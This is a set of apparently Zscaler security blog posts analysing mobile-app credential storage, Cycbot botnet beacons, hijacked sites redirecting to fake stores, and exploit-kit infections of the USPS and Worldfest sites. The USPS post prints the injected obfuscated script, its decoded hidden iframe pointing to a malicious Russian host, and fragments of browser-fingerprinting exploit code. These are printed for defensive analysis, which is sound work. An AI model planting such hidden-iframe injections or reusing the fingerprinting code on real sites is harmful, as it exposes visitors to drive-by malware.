Will Mobile Apps be the Achilles' Heel of Web Security?

Inspired by a post yesterday from Alasdair Allan and Pete Warden discussing how the iPhone records and stores geo-location data, I decided to poke around to see what other interesting security issues may be lurking among the iPhone backup files. I've been concerned for some time that we're due for a flood of security issues in mobile apps, given the explosive growth that we've seen, with thousands of developers rushing to profit from the app store model. Successful web services such as Twitter, Dropbox, Evernote, etc. have willingly provided APIs to allow integration with third party technologies, including mobile apps. This greatly enhances the value of such services, but unfortunately, the services then entrust third parties to implement appropriate security controls so as not to expose confidential user data. Unfortunately, this is not always achieved.

iOS devices record backup archives when the device is synced to iTunes. On OS X, the archive is stored in the following directory:

/Users/[Username]/Library/Application Support/MobileSync/Backup/

Apple makes some effort to obfuscate the content by archiving everything into files with titles comprised of seemingly random strings. However, unarchiving the content back to its original form is a trivial task using a tool such as the iPhone Backup Extractor. Once unpacked, you will find a variety of content including documents and images, but most configuration data is stored within either SQLite database files or .plist files. The former can be read with any SQLite viewer such as SQLite Database Browser, while the latter is simply an XML file that can be viewed in a text editor.

JotNot Scanner Pro

Let's look at a particularly egregious example of poor application security practices. JotNot Scanner Pro is an iPhone app that I rely on heavily during business travel. It is a popular app, first released over two years ago, which essentially turns your iPhone into a document scanner and allows you to store the scanned content either locally or upload them to a host of web based storage services. While Apple doesn't release sales figures for individual apps, with over 3,600 people having reviewed all versions of JotNot on iTunes, it's clear that this is a broadly adopted application.

The JotNot Pro backup archive is labelled com.mobitech3000.JotNotIPhone. Upon extracting the archive we see a directory structure with the Documents folder containing copies of previously scanned documents, while various configuration settings for the application can be found in the Library folder. The file that we're interested in is /Library/Preferences/com.mobitech3000.JotNotIPhone.plist:

Directory Structure of the JotNot Scanner Pro Backup Files

Contents of JotNot-Settings.plist file

This .plist file is an XML document, which includes version information and various user defined settings, including usernames and passwords for the third party storage services that the user has enabled to upload scanned documents to. JotNot works with a variety of online services and must authenticate with these services in order to upload documents on behalf of the app user. Unfortunately, the authentication credentials stored for Evernote, Google Docs, Apple's iDisk and any WebDav enabled server are stored in plain text. Therefore, anyone that gained access to this backup file, would then have your username/password for these services. It is particularly concerning that Google Docs and Apple's Mobile Me are on this list. Both services leverage single sign-on for their various online services, so knowledge of these credentials would also provide access to Gmail and Apple's MobileMe email service.

Thoughts

As an end user, you've followed best practices to keep your access credentials safe. You've chosen a complex password. You change it regularly and never share it with anyone. Unfortunately, all of that effort goes out the window when you trust an app with your data, which doesn't store it securely. In this situation, if you're a JotNot user and someone gains access to your computer either locally or remotely, they now have access to web services where you store confidential data such as documents, photos, receipts, etc. They may also gain access to your email accounts. Unfortunately, as a user, you really have no way of knowing which apps have incorporated appropriate security controls. Despite the fact that Apple must bless all apps before hosting them in the App Store and is very willing to take a 30% cut for doing so, they're clearly concerned more with blessing the 'user experience' as opposed to security. Storing passwords in clear text is security 101. If I can spot it in 15 minutes, surely they can have processes in place to identify and prohibit at least basic security issues. Web services should also be exposing APIs that don't accept usernames/passwords but rather tokens generated by the service to ensure that third party apps don't have the option to expose access credentials in the first place.

Why this isn't the first and won't be the last example of insecure mobile apps putting users at risk:

1. Land Grab - Developers have realized the power of the mobile apps stores to generate profits and are rushing to get first mover advantage in each an every app category. Sadly, when developers are rushing to get products out the door, security is often left on the cutting room floor.
2. New Technologies - iOS apps primarily leverage Objective-C as the programming language of choice for creating apps. This is a new language for many developers but thanks to user-friendly development tools, developers are able to produce mobile apps, even without a thorough knowledge of Objective-C.
3. Gatekeeper - Apple is not ensuring that apps are secure before allowing them into the App store. Unfortunately, users don't realize this and are eagerly handing over passwords to apps that may or may not store them correctly.

Keep this in mind next time you're downloading the latest must have app. and handing over your passwords.

- michael 

Search Engine Security available for Firefox Mobile

While the number of threats targeting mobile devices is increasing, web browsers for mobile devices are still lacking the security features of their Desktop counterparts. For example, Firefox 4 Mobile (also known as Fennec), does not include Google Safe Browsing to prevent users from navigating to known malicious sites.

Zscaler has released 3 Firefox add-ons to protect users, such as Search Engine Security, BlackSheep and Zscaler Safe Shopping. I have now ported Search Engine Security to the mobile version of Firefox 4, and will release Zscaler Safe Shopping for mobile devices later on.

Search Engine Security

The add-on behaves the same as the desktop version. It protects users from malicious search results in Google, Bing and Yahoo!, by modifying the Referer and User Agent headers, when the users leave these sites.

You can turn enable/disable Search Engine Security for any specific search engine. The add-on will show it's status in the search results.

Search Engine Security protection for Google

The settings are the same as those used for the desktop version. You can specify which Referer header to use (none by default) and whether or not to modify the user agent (choose Yes for better protection). Because of restrictions in Firefox Mobile, the whitelist, used to prevent header changes for particular sites, is restricted to a single URL.

Search Engine Security options for Mobile

How to test it

Search Engine Security works transparently and most users will not notice the change of HTTP headers. The equivalent of Live HTTP Headers for Fireofx Mobile is Mobile Tools. Unfortunately, this extension shows HTTP before they are modified by Search Engine Security. To see the changed Referer and User Agent headers, look for "referer mobilefish" in Google. Click on the first search result. The page from mobilefish.com shows your User Agent string as well as Referer. You can try it with Search Engine Security truned on and off for Google to see the different values.

User Agent and Referer headers modified by Search Engine Security

Don't forget to restart Firefox after you install this add-on. It does not yet take advantage of the restartless feature introduced in Firefox 4.

-- Julien

30 Days of Cycbot

Introduction:

I started doing some analysis on a beaconing pattern that I observed this past week. Initially the pattern and domains that I observed had little open-source information available for my searches, but as I started widening my search in the logs I found other infected customers across a variety of sectors and was able to track a botnet using a large number of IPs and domains for its command and controls. This is the "Cycbot" botnet... newly detected around August 2010 (reference), it is a botnet that has not appeared much in the media, but appears to be making its rounds infecting hosts in greater numbers- especially within the last month from my perspective.

The Beaconing Pattern:

The pattern typically followed HTTP GET requests with this format:

FQDN/blog/images/3521.jpg?vNUM1=NUM2&tq=BASE64_Data

and the transactions were made with User Agent string: "mozilla/2.0"

The BASE64_Data appears to be base64 encoded "encrypted" data.

The vNUM1=NUM2 parameter was occasionally omitted, when this was omitted I was able to obtain a possible brute-force the BASE64 data that was XOR "encrypted". When the "v" parameter was present I was not able to decrypt. This particular encoded pattern was consistent among infected hosts:

tq=RA1DQxZBDVlUFQN0AQYECRUCBlMVA3QBAwcWQw0BFlhCQw0APXNzJnE9aWQ=

Which might be decoded with:

0x30 XOR key, displaying:

t=ss&q=id%3D1649%26c%3D137&s=1&hrs=0

which is, t=ss&q=id=1649&c=137&s=1&hrs=0

or 0x55 XOR key, displaying a possible cryptic output / command: s:tt!v:nc"4C613>"51d"4C640!t:6!out:7

Note: while tracking the incident back in time, really the only consistent string to trigger on for the beacons are:

• ?tq=BASE64_data
• ?vNUM1=NUM2&tq=BASE64_Data

Which by itself could generate some false-positives.

Tracing back in time through our logs, this pattern first emerges the morning of March 10th. From this initial infection to present, the number of infected hosts and C&C IPs/domains used has consistently risen.

Open-Source Information:

Googling around, this was a related and very recently submitted samples to ThreatExpert

These reports identify that the malware opens a backdoor on the infected system (e.g., 59495/TCP), and also shows the MD5 of the submitted samples:

46991fb9d3839e7b5b2dce4fb997340d

60c6636f9cae2df3d0ae76e5487521d3

4E6BE45CFF3CAAABA9D08622A6B0DC2C

Using the MD5 as a search on VirusTotal, I was able to find recent anti-virus reports with very low detection:

V/T Report (8/41)

V/T Report (6/42)

Which is identified as malware names:

Gen:Variant.Kazy.19331, Win32:Cycbot-CL, Win32/Kryptik.MPX

Command and Control Infrastructure:

Tracking the observed infections back over time, I was able to track a fairly robust set of IPs and domains used to keep the botnet alive. Below is the information that I saw since March 10:

C&C Domains

C&C IPs

Some of the C&Cs appear to be sites that were compromised, for example: onlineinstitute.com

In each of the cases of these sites, directory indexing is on, e.g.,

onlineinstitute.com/g7/images/

Many of the sites appear to be hosted by BlueHost.

But the majority of the C&Cs were recently registered domains with registration information ranging from China to Russia to "private" registration. Below is a list of some of the email addresses used (by the criminals) to register the domains,

Using the above information in Google searches, it is possible to correlate other malicious domains. Keep an eye out for Cycbot in your networks, this botnet does not seem to be slowing down. And always be on the lookout for new beaconing patterns that emerge within your environment!

Hundreds of College and Government websites still redirecting to fake stores

In January, I talked about high-profile websites, which had been hacked to redirect users to fake online stores. One unique aspect of the hack was the fact that the attackers had set up additional web servers on non-standard ports. Most of the domains I listed in the post were cleaned up pretty quickly.

Three months later, there are still a number of hijacked sites redirecting to the same fake stores. One day recently, I found 68 hijacked domains, mostly college and government sites, including:

• Berkeley: cshe.berkeley.edu
• Harvard: research4.dfci.harvard.edu
• Purdue University: web.ics.purdue.edu
• Oklahoma State University: osu.okstate.edu
• Australian Government: brokenhill.ses.nsw.gov.au

List of hijacked websites redirecting to a fake store found in 1 day

While some of the pages are still hosted on alternate web servers, like hxxp://nigelbeale.com:8080/download?online=329 now, most pages have actually been added to the hacked web server, on port 80.

The fake stores have not changed much. They all claim to provide discounted software from Microsoft, Adobe, Apple, etc., for download. Visually, they all look the same and we still see new domains used for the fake online stores.

Fake software store

A Google search for "buy windows 7 pro", for example, still shows primarily hijacked sites as the top of the results. It is very disappointing that Google has not cleaned up their search results after several months...and Bing doesn't do a better job on this one either.

Google search for "buy windows 7 pro". Most redirect to a fake store.

Protect yourself with Zscaler Safe Shopping

The majority of the fake stores are still not flagged by blacklists used by popular browsers or by antivirus software. Firefox users can instead leverage the free Zscaler Safe Shopping add-on we released a couple of months back, in order to be warned when they visit a fake online store.

-- Julien

USPS.gov Website Infected with Blackhole Exploit Kit

Update (04/07/2011 10:03am PST): USPS officials have taken the http://ribbs.usps.gov web site down to address the infection.

A United States Postal Service website (http://ribbs.usps.gov) has been infected with the Blackhole Exploit kit. As we've discussed previously, the Blackhole Exploit kit, a commercial exploit kit developed by Russian hackers, is being seen in an increasing number of attacks. Last week, we reported on how it had been used to infect Worldfest, a Houston, Texas music festival and this week, it has penetrated the website of an independent US government agency, namely that of the postal service. RIBBS stands for Rapid Information Bulletin Board System and deals with Intelligent Mail services, such as barcodes that allow for better tracking and logistics. As with similar infections, the attack follows numerous phases, each being hosted on a separate domain, with each leveraging various obfuscation techniques to hide the attack. Here we will walk through the various phases to detail the attack.

Phase One: Initial Infection

On April, 6th, our attention was drawn to alerts indicating that Zscaler was blocking access to http://ribbs.usps.gov due to the presence of the following encoded Javascript:

<script>
document.write(eval(String.fromCharCode(100,111,99,118,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,112,114,105,99,104,101,115,111,110,46,104,100,100,49,46,114,117,47,108,111,108,46,112,104,112,34,32,104,101,105,103,104,116,61,34,49,34,32,119,105,100,116,104,61,34,49,34,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,62,60,47,105,102,114,97,109,101,62,39,41,59)));
</script>


This content uses a simple encoding technique, whereby each letter is encoded as it's ASCII equivalent. When decoded, we see the following iframe:

document.write('<iframe src="http://pricheson.hdd1.ru/lol.php" height="1" width="1" style="display:none"></iframe>');


Phase Two: Redirection


The page used in the aforementioned iframe has since been taken offline, presumably by the domain administrator, suggesting that the attackers were simply using an otherwise legitimate site for this stage of the attack. The page was however accessible when the attack was first discovered and contained only the following unencoded iframe:

<script>document.write('<iframe src="http://oldschool.vv.cc/access7/forum.php?tp=10169-1" height="1" width="1" style="display:none"></iframe>');</script>


Phase Three: Attack


It is on this final page, where the attack ultimately takes place. This domain has been known to host other attacks. At the time the attack was first detected, this domain had not been blacklisted by any of the major malicious URL services, but as of today, the majority are now blocking the domain.

This page has been disguised to look like a standard 404 Page Not Found error message, but when viewing the source code, in reality, it is delivering a massive bundle of obfuscated Javascript. When decoded, we see a rather complex logic flow attempting to discern the operating system, web browser type and the existence/absence of components such as Java and ActiveX, in order to determine the appropriate attack payloads to deploy.

Operating System Identification


var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
c.OS=100;
if(b)
{
var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];
for(f=d.length-2;


Browser Identification

c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g);
c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
c.addWinEvent("load",c.handler(c.runWLfuncs,c))



Malicious Payloads

• calc.exe - detection rate: (5/41 AV vendors)
• info.exe - detection rate: (4/42 AV vendors)
• mario.jar - detection rate: (4/41 AV vendors)
• eedad.pdf - detection rate: (1/41 AV vendors)
• 298dd.pdf - detection rate: (5/42 AV vendors)
• 27537.pdf - detection rate: (5/41 AV vendors)
• 57496.pdf - detection rate: (1/42 AV vendors)
• javatrust.php - detection rate: (0/42 AV vendors)
• CVE-2010-4452 - Sun Java Applet2ClassLoader Remote Code Execution Exploit (Metasploit)
• java_skyline.php - detection rate: (2/41 AV vendors)
• CVE-2010-3552 - Sun Java Runtime New Plugin docbase Buffer Overflow (Metasploit)

Status

Yet again, we have a legitimate website with a significant user base being used as a catalyst for attack. Combine that with an abysmal detection rate on the malicious payloads by desktop AV, the first and often only line of client side defense for many enterprises, and we have a potent attack that has no doubt affected many end users.

USPS officials have been informed of the infection and have acknowledged the issue. The injected code remains on the ribbs.usps.gov site as at the time of this posting but the attack has been neutered as the website used in step two of the attack has been taken offline.

At least snail mail is still safe...

- michael

Fake AV vs. Zscaler

I've been monitoring Blackhat spam SEO for more than a year now. I frequently have to modify the scripts used to retrieve the fake AV pages in order to deal with obfuscation and other obstacles the perpetrators have put in place.

Fake AV pages are designed to keep security scanners and researchers away. One of the techniques used to weed out automated scanning tools from victims using real web browser is JavaScript redirection. I have seen more than ten different techniques to redirect users from the spam page to malware pages leveraging different types of JavaScript. Usually, they use two to four redirections, one after the other, each using different code.

JavaScript code of some of the redirections

Once again, by trying too hard to hide the malicious code, Fake AV pages are actually easier to detect by looking at the redirections rather the malicious code itself.

Strict HTTP Referer

In addition to making the JavaScript redirections difficult for security tools to follow, there are strict checks on the HTTP Referer header. For example, a real browser sends a Referer if the redirection is done through an HTTP Location header redirection, a meta redirection, etc., but no referer is sent through when using the JavaScript functions location.assign(new_value) or window.location=new_value. 

IP Blacklisting

It usually only requires a few minutes of work to bypass the "protections" put in place by Fake AV pages. The fake AV authors have no doubt realized that their modifications were not very effective, and that Zscaler and others are still finding their malicious content.

A few days after Mike found IP tables settings shared online to block major security vendors, our main IP address was blacklisted. I quickly changed to a different IP address in the same sub-net, but only 3 days later, our complete sub-net was blacklisted. I have recently switched to Tor to get random IP address. This has allowed me to keep tracking new Fake AV pages.

The cat and mouse game between Fake AV and the security researchers will probably keep going on for a long time. Since the attackers keep modifying their content, malicious HTML, JavaScript and executables, Zscaler has to keep monitoring the changes in order to protect their customers given this rapidly-evolving threat.

-- Julien

Worldfest, Houston website compromised before the start of the event

Today, one of our blog readers, Mr. Steve Kennedy posted a comment saying his antivirus alerted on “http://www.worldfest.com”. It appeared to be related to the Blackhole exploit kit, which I’d discussed in a previous blog post. This site turns out to be the official website for the Houston International Film Festival. The 44^th annual WorldFest event will be held from April 8 to 17, 2011. Here is the screenshot of the home page:

The malicious JavaScript code is injected at the bottom of the main page as can been seen in the attached screenshot:

The malicious JavaScript is heavily obfuscated to evade detection. A decoded version of the JavaScript contains code that looks legitimate at first glance. A malicious iframe is then inserted in the middle of this decoded content. Here is the screenshot:

Unfortunately, for this blog we were unable to retrieve any malicious contents because the iframed site simply redirects to Google. This may be due to the fact that the attackers have crafted the page to only deliver the payload if certain conditions have been met (i.e. correct user agent, particular geography, etc.), however, despite various approaches, we were unable to retrieve malicious content from the page. Here is the packet capture of the redirect:

The website sets a cookie and redirects to Google. This cookie may be used by the attacker to track previous victims in order to ensure that the payload is only delivered one time. This is another common technique to keep the attack under the radar. This site was registered on 30^th March 2011 in Ukraine. Here is the whois lookup,

A Google for the query “WorldFest Houston 2011” returns this infected site as the first search result, as shown below:

Attackers often try to target popular events and the WorldFest is a valuable target with the event beginning on April 8^th. This site will surely get plenty of traffic given that this is a popular film festival. We have informed the webmaster of the infection and will continue to monitor the site.

Happy Film Festival!

Umesh